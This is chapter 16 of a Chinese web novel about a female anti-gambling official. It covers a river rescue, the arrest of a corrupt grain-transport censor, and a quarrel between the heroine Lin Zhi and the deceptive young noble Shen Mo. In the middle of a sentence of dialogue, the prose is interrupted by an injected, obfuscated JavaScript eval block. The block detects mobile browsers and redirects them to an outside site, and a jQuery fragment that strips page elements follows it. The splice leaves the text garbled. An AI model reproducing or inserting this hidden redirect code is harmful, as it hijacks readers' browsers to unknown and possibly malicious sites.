16. 第 16 章
作品:《大梁第一反赌司女官》 虽是初春,夜晚的江水冷得刺骨,林芷在水中猛地哆嗦一下,从落水的惊吓中回神。
待适应水温之后,她睁开眼,借着点点微弱的月光,看清水下的情况——沈墨就离她不远,入水之后一动未动,整个人在往下沉。
她迅速游到他身边,见他皱着眉,双目紧闭。林芷在水中用力掐了对方的胳膊,却没能将他唤醒。
内心挣扎一番后,她咬了咬牙,用手抓住他的衣襟,奋力拖着他朝江面游去。
好沉。
她屏住呼吸,好几次因用力过猛差点呛水,又几次险些脱力沉下去。
冲破江面的那刻,她张嘴猛吸一口气,若是再晚一秒,她感觉自己就再也呼吸不过来了。
先前的游船距离他们已很远,月华似练,江面泛起波澜,她看了眼靠在她肩头昏迷不醒的男人,又掐了他胳膊一下,心里一度怀疑对方是不是装的,但确实没有反应。
林芷叹了口气。
他欺骗她是事实,但方才保护她也是事实。事到如今,她终究做不到见死不救,于是林芷带着沈墨一路向岸边游去。
“姚大人,那边有人!”岸边有人举着火把,朝他们的方向惊呼。
林芷也不知道自己游了多久,只感觉视线越来越模糊,力气也越来越少。
“噗通——”
有人跳水朝他们游了过来,林芷感觉有人从她肩膀接过了沈墨,随后她眼前一黑,意识就陷入了无边黑暗之中。
…
不一会,沈林二人就被人拖着上了岸。
姚祝安站在岸边,见一下属走向他,跪下抱拳:“回禀大人,确实是沈公子,公子暂时失血过多昏了过去,不过并无大碍。”
姚祝安点头上前,看到地上躺着两人,目光落到一旁的林芷身上。
她的头发不知何时散落开来,身上宽大的衣袍被江水浸湿,勾勒出身体曲线,纤长的睫毛也沾着水珠。
联想到之前沈墨提过的线人,没想到竟是个姑娘。
下属说:“这位姑娘当时是和沈公子一起,是她一路带着沈公子游过来的。”
姚祝安又看向沈墨。
如此冰冷的江水,加上这么远的距离,这姑娘还死心塌地救他,没想到这小子真是艳福不浅。
姚祝安收回视线,吩咐下属将两人好生安顿。
“是雷哥,雷哥来了!”
忽有一下属惊呼,姚祝安朝属下看的方向望去,见有一艘官船稳稳靠了岸,随后就有几个人高马大的官役举着火把,押着几人下了船。
为首的男人魁梧健壮,眼神凌厉,正是时任锦衣卫南镇抚司靳雷,他带人朝姚祝安的方向走来,向他抱拳:“姚大人。”
姚祝安也远远抱拳:“靳大人。”
靳雷大笑两声,放下手:“姚大人果真说得不错,俞元良那狗贼果真在船上,我们见到他的时候,他正想跳船逃跑,直接被我们的人拿下。”
他找人要了个火把,火光映照出俞元良一张苍白的脸,冷笑一声:“想不到昔日叱咤风云的御史大人也有今日,真是天道好轮回。”
俞元良抬起头,突然神情激动起来,额角的青筋暴起:“谁允许你们抓我的?我可是大梁巡漕御史,你们一个四品大理寺少卿,一个从四品锦衣卫南镇抚司,就敢拿我!”
“御史大人稍安毋躁。”姚祝安上前,从袖子中掏出一本账册,“这是我们的人统计您这些年从各地贪污的漕粮数目,您看看。”
俞元良夺过,将账册翻得哗啦作响,看完后将其猛得一摔,冷笑一声:“就凭这些捏造的数据,还想治我的罪?”
“不急,大人再看看这个。”姚祝安又拿出一本账本,递给俞元良。
俞元良看到是金鳞舫的账本,心头猛得一惊,双手颤抖地接过。
“假的,都是假的。”
他看着那笔笔交易,双目越来越红,嘴唇都在哆嗦,忽然,他猛得扭头盯住身后的赵鸿,目光像淬了毒的利箭。
赵鸿此时已经不成人样了,像个烂泥一样瘫软在地上。
“别看赵老板了,这事他还真不知道。”姚祝安从俞元良手中抢过账本,用手掸了掸封面的灰尘,重新揣回袖中,“这是我们的人在赵老板家中搜到的,没想到堂堂金鳞舫主人藏东西还这么老套,就藏在他老娘卧室的衣柜中。”
“姚祝安,姚少卿!”俞元良突然跪下扯住姚祝安的衣角,仪态全失,“我们谈谈好不好,你想要什么?金钱?美人?还是权力?我在朝中认识人,我……”
“行啊,等到了诏狱,我们再慢慢聊。”姚祝安打断他,挥动袖袍,转身负手,“不然你在这,还真会叫人误会我收了你的贿赂——来人,带走。”
靳雷见俞元良被拖走,朝他呸了一声:“巡漕御史怎么说也是个大官,没想到也是个没骨头的,他贪百姓的漕粮可不是这副嘴脸。”
“铁证如山,他这次是死罪难逃。”姚祝安像是感慨似地说,“在死亡面前,再大的官也没用,除非他是……”
姚祝安话突然顿住了,江浪冲击岸边,四周突然安静下来,姚祝安望着漆黑的夜空和远处的万家灯火,脑海里又浮现那个为民请命的义士的脸庞。
究竟是什么样的人,能直面死亡而面不改色,这需要多大的勇气。
若有机会,他真想和对方好好聊一聊。
姚祝安忍不住握紧了拳头。
只可惜,斯人已逝,此生再无机会。
“走吧。”他缓声道,“天晚了,大伙都辛苦了,早些回房休息。”
靳雷知道他想到谁了,当年陆一鸣一案闹得太大,朝中人都知晓,心头也是唏嘘不已。
靳雷忽然想起什么,道:“听说这次是有人卧底金鳞舫找到俞元良的,那人在那里?”
“等他醒了,我就安排你们见面、”姚祝安道,“另外还要麻烦靳大人,今日登船的人都要严加看管,万不可暴露我们线人的身份。”
…
林芷醒来时,发现自己置身于一个陌生的房间。
屋内陈设虽然谈不上华丽,但却很有格调,桌上的茶具,窗边的鲜花,地毯和香炉,卷轴与笔墨,衬得整个房间干净素雅,但又不失烟火气。
或许是有些着了凉,林芷感觉自己头脑昏沉,但还是强撑着起来,她推开门,见庭院中间站着一位身着素白长袍的男子。
他正在摇着折扇与人讲话,见她出来,便叫那人离去。
“姑娘好。”白衣男子笑吟吟地与她打招呼。
林芷愣了片刻,眯起眼睛:“你是?”
白衣男子朝她抱拳:“吾乃大理寺少卿,姓姚名祝安,姚祝安。”
“原来是姚大人。”
林芷弯腰回礼,思绪却回到那个血光泼洒的夜晚。
那日时局混乱,她只知道沈墨在与什么“御史大人”对峙,但既然是大理寺的人救了自己,看来那日自己确实是卷入了朝廷纷争中。
她此刻心里正憋着一肚子火,正好还要找他问个明白。
“姚大人可知沈墨在何处吗?”
姚祝安道:“沈公子尚在昏迷之中,若有问题,姑娘可以问我。”
林芷思索片刻,纠结地开口:“我也不知道从何说起……大人知道沈公子是何身份吗?”
“姑娘想必是沈公子信任之人,否则他也不会带姑娘上船。”姚祝安将折扇一收,用扇柄敲击手心,“这个问题不如等沈公子醒了,姑娘当面问他即可。”
林芷继续问道:“那晚他们口中的御史大人,是谁?”
姚祝安敲扇的动作一顿,看来这沈墨是什么都没和人姑娘说,这有点太不地道了。
“巡漕御史,俞元良。”姚祝安咳嗽一声,“他贪墨了漕粮,与金鳞舫主人私通卖粮,我与沈公子也是因此事而抓他。”
“漕粮……”林芷沉吟,想起登船前,那个被官差收光所有粮食的老汉,“我明白了,谢谢姚大人。”
姚祝安见她要走,道:“姑娘若是关心沈公子,不如去他房里看看,他就在姑娘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490271|168974||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对屋。”
谁关心他了。
林芷心中不屑,她作别了姚祝安,正打算回自己房门的时候,看见正好有婢女从对房出来。
那门浅浅开着,林芷在原地看一会,咬咬牙,还是朝对门走去。
她推开门,见室内摆设与她的房间相似,床帐悬垂,榻上静静躺着一人。
昏迷是不,看本姑娘怎么把你摇醒。
林芷缓步靠近,撸起袖子,张开胳膊正准备动手,却见沈墨面朝上躺在床上,眉心紧锁,唇色苍白,她悬在半空的手迟迟未能落下。
她叹了口气,收了手,去到茶几坐下,给自己斟了一杯茶。
“沈墨,你这个人真的很坏。”她指间在茶杯上摩挲,“你骗我上船,让我替你拖延时间,把我置于危险之中……”
“你曾火场救过我,我对你很是感激,你哪怕你提前告知我你的目的,我又未尝不会答应,可你什么都不与我说。”
林芷手中的茶杯突然攥紧:“所以你把我当成什么了?我还想过和你做朋友,还想把你从赌博的泥沼里拉出来,都是我自作多情。”
她自嘲一笑,仰头将茶水一饮而尽,仿佛此刻喝的不是茶,而是酒。
她放下茶杯,望向床的方向。
她的眼眶微微发红,喃喃道:“真想问问你,当初你救我,是不是也是别有目的……但这些都不重要了。”
她站起转身:“待你醒来,我就跟你辞别。无论你有何身份,我都不想知道,只愿你我此生不复相见。”
“这就不见了?”
林芷猛地回头,见沈墨不知何时已经起身,正斜倚在床头,一双桃花眼正玩味地看着她。
她霎了霎眼:“你何时醒的?方才……”
“本公子睡得正香,就听见有人在我耳边聒噪。”沈墨说着,打了个哈欠,“应该大半都听见了吧。”
林芷脸色青白交加,最终沉了下来:“既然如此,我话已说尽,沈公子你既听见便算知晓,好自为之。”
林芷刚想挪步,就听沈墨喉咙“嘶”了一声。
“你又怎么了?”
“伤口疼。”沈墨捂着腰,看她一眼又闭上眼睛,露出痛苦的神情,“好像是那日帮你挡刀留下的,不会刚才一动裂开了吧。”
“活该。”林芷冷冷看他表演,“你哪里疼就找医工,别对我嚎。”
沈墨叹息一声:“林姑娘好狠的心,早知道本公子就不帮你挡了。”
“我还早知道就不跟你上船了呢。”
林芷立刻反唇相讥,但语气已缓和不少。
“瞒着你,确是我不对。”沈墨也不装了,坐直了身子,“金鳞舫查的严,每个隔间要求有固定人数,我需要有人帮我隐藏行踪。”
他语气诚恳:“我与你相识不久,事关重大,未能全然告知,是怕节外生枝,你知道得越少越安全,我也未料到对方还藏了人手。”
林芷抿唇不语,沈墨便继续道:“我猜你跟姚大人会过面了,他应该对你说了俞元良的事,你若你还有什么疑问,可以问我,我就把我知道的,都跟你说。”
林芷见他态度尚可,便向他询问了案件的细节,沈墨也将陆一鸣一案告知了她,让林芷听得大为震动。
林芷沉吟片刻,眯眼看向沈墨:“最后一个问题——你这纨绔身份是真是假?你的真实身份究竟是……’”
“那定是真的,如假包换。”沈墨用手支着下巴,勾唇道,“只不过我这个人和别的富家公子不同了点,好行侠仗义,就爱管天下不平之事,有何问题?”
林芷:“我不信。”
“爱信不信。”
沈墨被她盯得不自在,索性闭眼靠回床头,以手扶额:“不行不行我头疼,得再躺会儿。”
林芷冷哼一声,拂袖转身。
反正她过两天也是要走的,他是什么身份跟她也没关系。
“既然如此,沈公子便好生歇息。”
语毕,她不再留恋,几步走远,推门离去。